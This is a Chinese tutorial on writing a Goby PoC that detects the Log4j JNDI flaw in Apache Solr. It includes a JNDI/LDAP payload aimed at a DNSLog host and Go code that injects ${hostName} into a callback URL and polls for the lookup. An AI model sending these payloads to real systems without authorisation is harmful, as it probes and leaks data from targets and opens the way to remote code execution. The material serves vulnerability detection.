使用goby检测log4j漏洞

简介: 使用goby检测log4j漏洞


前言


前段时间的Log4j漏洞影响很广泛,网上已经公开了很多地方的利用方式,而平时用goby较多,就想利用goby的指纹识别对目标定向检测。这篇文章就从Apache Solr Log4j漏洞为例,教大家如何写goby poc,文章中有错误还请及时指正。


Goby可以通过编写go文件,来实现一些高级的漏洞检测或利用,例如dnslog检测漏洞,详情可查阅goby官方文档:

https://cn.gobies.org/docs/exp/index.html


漏洞复现


首先了解到漏洞触发点是action参数


/solr/admin/collections?action=

通过dnslog验证到靶机是存在漏洞。


payload:${jndi:ldap://24x44x.dnslog.cn/a}

a1818d11e71a496e159c824411fdfa6d_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

图一:发送payload


cdcb1460a6763f3f2d44a6d1fe5a1705_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

图二:dnslog有回显


goby poc编写


Goby是通过golang编写的,而一些漏洞检测场景(比如dnslog验证),goby自身的JSON 格式无法满足这一需求,需采用 Golang 编写漏洞代码。


expJson部分


1.首先通过goby poc管理,添加poc,按照goby官方漏洞描述模版说明填写并保存。


image.png

图三:自定义poc


2.在goby安装目录的


\golib\exploits\user文件夹打开生成的Apache_Solr_Log4j_JNDI_RCE.json文件,如果不需要exp则需把HasExp字段的true改为false。


31c1fdc1735078a8ee8e47641307795e_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

图四:生成的json文件


3.将生成的json代码(去掉外围大括号)复制到goby漏洞检测golang模板的expJson := `{xxx}`中。


package exploits
import (
  //根据需求导入相应的包
"fmt"
    "git.gobies.org/goby/goscanner/goutils"
    "git.gobies.org/goby/goscanner/jsonvul"
    "git.gobies.org/goby/goscanner/godclient"
    "git.gobies.org/goby/goscanner/scanconfig"
    "git.gobies.org/goby/httpclient"
    "strings"
    "time"
)
func init() {
    expJson := `{
        expJson部分
  }`
    ExpManager.AddExploit(NewExploit(
        goutils.GetFileName(),
        expJson,
        nil,    //自定义POC函数部分。
        nil,    //自定义EXP函数, 没有EXP,就写nil,
    ))
}

goby漏洞检测golang模板


自定义函数POC部分


1.根据官方文档说明

自定义 POC 由一个函数构成,该函数参数分为 jsonvul.JsonVul、httpclient.FixUrl、scanconfig.SingleScanConfig 结构体组成,通过响应 bool 来确认漏洞是否存在。函数模版如下:


  func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
        return false
    }

需要通过编写检测漏洞是否存在的golang代码,检测到漏洞存在则返回true,不存在返回false。


5efb0534f68f09425064113b3c2aa699_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

 图五:自定义 POC函数部分



checkStr := goutils.RandomHexString(4)

RandomHexString函数:随机生成指定长度的字符串


checkUrl, isDomain := godclient.GetGodCheckURL(checkStr)

GetGodCheckURL函数:生成DNSLog地址


uri := "/solr/admin/collections?action=$%7Bjndi:ldap://$%7BhostName%7D." + checkUrl + "/a%7D"

漏洞触发点拼接payload

cfg := httpclient.NewGetRequestConfig(uri)   //NewGetRequestConfig:构建GET请求自定义配置,返回RequestConfig
cfg.VerifyTls = false                          //忽略ssl验证
cfg.FollowRedirect = false                    //不跟随跳转
cfg.Header.Store("Content-type", "application/x-www-form-urlencoded")  //自定义请求头
httpclient.DoHttpRequest(u, cfg)             //DoHttpRequest:构建自定义请求配置,发送请求,返回请求结果HttpResponse

构建并发送自定义配置的GET请求,返回请求结果HttpResponse


fdf0351031bc022e8a9bedebf90f9bce_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

图六:通过代理抓取到goby发送payload的get请求



return godclient.PullExists(checkStr, time.Second*15)


在一段时间内检测dnslog是否有HTTP请求成功,如果成功返回true,否则返回false。

d163e23dd0b55b54af7891fdb9f7245e_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

图七:通过代理抓取到goby检测dnslog是否有HTTP请求成功


8b5fa8561378c633080f28e2bf1f6558_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

  图八:漏洞检测成功


注意点


1、expJson部分GobyQuery查询规则,要保证能匹配到对应目录资产

2、导入goby,发现加载不出poc,需要去检查代码的问题

3、使用goby官方的函数需通过import导入对应的包


当然除了solr还有很多框架,希望大家能从文章中学到一点知识,打磨自己的武器。


相关文章
|
安全 Java 开发者
刚折腾完Log4J,又爆Spring RCE核弹级漏洞
继Log4J爆出安全漏洞之后,又在深夜,Spring的github上又更新了一条可能造成RCE(远程命令执行漏洞)的问题代码,随即在国内的安全圈炸开了锅。有安全专家建议升级到JDK 9以上,有些专家又建议回滚到JDK 7以下,一时间小伙伴们不知道该怎么办了。大家来看一段动画演示,怎么改都是“将军"。
118 1
|
3月前
|
监控 安全 Linux
在Linux中,如何查看和审计系统日志文件以检测异常活动?
在Linux中,如何查看和审计系统日志文件以检测异常活动?
|
6月前
|
算法
m基于log-MPA检测算法的SCMA通信链路matlab误码率仿真
MATLAB 2022a仿真实现了稀疏码多址接入(SCMA)算法,该算法利用码本稀疏性实现多用户高效接入。每个用户从码本中选取码字发送,接收端采用Log-MPA算法进行多用户检测。由于MAP检测计算复杂度高,故采用Log-MPA降低复杂性。仿真展示了不同迭代次数(1, 5, 10, 30)对误码率(BER)的影响,通过比较各次迭代的BER曲线,研究算法性能与迭代次数的关系。
91 0
|
运维 安全 Java
Log4j2 远程代码执行漏洞——总结
前两天网络有爆料log4j安全漏洞,安全大于天,于是也加入到这个和时间赛跑的临时事件中。对于安全漏洞网上有很多文章,内容都大同小异,不过针对于这件事小编下面的故事一定能让读者有"意外"收获。
|
安全 Java Shell
Apache Log4j2 远程代码执行漏洞
Apache Log4j2是一个·基于Java的日志记录工具,该工具重写了Log4j框架,并且引入大量丰富的特性,该日志框架被大量用于业务系统开发,用来记录日志信息。
109 2
|
安全 druid Java
【紧急】Apache Log4j任意代码执行漏洞安全风险升级修复教程
近期一个 Apache Log4j 远程代码执行漏洞细节被公开,攻击者利用漏洞可以远程执行代码。经过分析,该组件存在Java JNDI注入漏洞,当程序将用户输入的数据进行日志,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。
364 1
|
安全 Java 大数据
CDH/HDP/CDP等大数据平台中如何快速应对LOG4J的JNDI系列漏洞
CDH/HDP/CDP等大数据平台中如何快速应对LOG4J的JNDI系列漏洞
|
Shell Perl
检测网卡流量,并按规定格式记录在日志中
检测网卡流量,并按规定格式记录在日志中
85 2
|
安全 网络协议 Java
【紧急】Log4j又发新版2.17.0,只有彻底搞懂漏洞原因,才能以不变应万变,小白也能看懂
经过一周时间的Log4j2 RCE事件的发酵,事情也变也越来越复杂和有趣,就连 Log4j 官方紧急发布了 2.15.0 版本之后没有过多久,又发声明说 2.15.0 版本也没有完全解决问题,然后进而继续发布了 2.16.0 版本。大家都以为2.16.0是最终终结版本了,没想到才过多久又爆雷,Log4j 2.17.0横空出世。
623 0
|
Kubernetes 安全 中间件
Traefik 如何保护应用免受 Log4j2 漏洞的影响
2021 年 12 月 10 日,Apache Log4j2 中的一个被称为 “Log4Shell” 的漏洞被发布(CVE-2021-44228),引入了严重的安全风险。作为 Java 应用程序日志库中的一个核心组件,其广泛用于著名的开源项目以及企业级后端应用程序。在本文中,我们将向您展示 Traefik 如何基于插件系统帮助我们的业务缓解此问题。
152 0
下一篇
无影云桌面